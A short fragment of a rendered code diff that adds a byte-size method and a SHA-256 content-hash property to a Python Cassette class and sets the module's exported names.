|
+
|
|
194
|
+
def size_bytes(self) -> int:
|
|
195
|
+
"""Return the UTF-8 byte size of the canonical cassette JSON."""
|
|
196
|
+
|
|
197
|
+
return len(self._canonical_json().encode("utf-8"))
|
|
198
|
+
|
|
199
|
+
@property
|
|
200
|
+
def content_hash(self) -> str:
|
|
201
|
+
"""Return the stable SHA-256 hash of canonical cassette content."""
|
|
202
|
+
|
|
203
|
+
return hashlib.sha256(self._canonical_json().encode("utf-8")).hexdigest()
|
|
204
|
+
|
|
205
|
+
|
|
206
|
+
__all__ = ["ArgMatcher", "Cassette", "CassetteEntry"]
|